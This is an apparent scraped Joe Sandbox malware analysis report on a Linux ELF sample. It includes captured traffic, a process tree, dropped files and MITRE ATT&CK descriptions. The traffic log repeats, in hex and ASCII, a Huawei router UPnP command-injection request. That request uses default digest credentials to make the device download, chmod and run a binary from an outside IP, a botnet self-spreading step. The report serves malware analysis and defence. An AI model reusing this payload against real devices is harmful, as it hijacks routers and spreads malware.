6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:44:31.622075081 CET	813	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report q4zH330dlR.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.088Td8 (deleted)

/tmp/qemu-open.0WrYV9 (deleted)

/tmp/qemu-open.0YiMua (deleted)

/tmp/qemu-open.0fwsE9 (deleted)

/tmp/qemu-open.0jjio7 (deleted)

/tmp/qemu-open.0n3p89 (deleted)

/tmp/qemu-open.0rgBW6 (deleted)

/tmp/qemu-open.0vd3F6 (deleted)

/tmp/qemu-open.0wUAX6 (deleted)

/tmp/qemu-open.12IdT6 (deleted)

/tmp/qemu-open.1BuvC7 (deleted)

/tmp/qemu-open.1Cybs8 (deleted)

/tmp/qemu-open.1Di488 (deleted)

/tmp/qemu-open.1Jmi25 (deleted)

/tmp/qemu-open.1Qd4O9 (deleted)

/tmp/qemu-open.1ckyT8 (deleted)

/tmp/qemu-open.1gacz8 (deleted)

/tmp/qemu-open.1nt1P9 (deleted)

/tmp/qemu-open.1qXZL7 (deleted)

/tmp/qemu-open.1rYV87 (deleted)

/tmp/qemu-open.1viQV8 (deleted)

/tmp/qemu-open.1wq0B9 (deleted)

/tmp/qemu-open.20bsv7 (deleted)

/tmp/qemu-open.25ntb7 (deleted)

/tmp/qemu-open.281tW8 (deleted)

Linux Analysis Report
q4zH330dlR.elf

Timestamp	Bytes transferred	Direction	Data
Mar 17, 2024 03:44:35.193003893 CET	825	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 456 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 17, 2024 03:44:35.414892912 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Start time (UTC):	02:42:50
Start date (UTC):	17/03/2024
Path:	/tmp/q4zH330dlR.elf
Arguments:	/tmp/q4zH330dlR.elf
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	02:42:51
Start date (UTC):	17/03/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Start time (UTC):	02:42:53
Start date (UTC):	17/03/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Start time (UTC):	02:42:55
Start date (UTC):	17/03/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Start time (UTC):	02:42:56
Start date (UTC):	17/03/2024
Path:	/usr/bin/xfce4-session
Arguments:	-
File size:	264752 bytes
MD5 hash:	648919f03ad356720c8c27f5aaaf75d1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre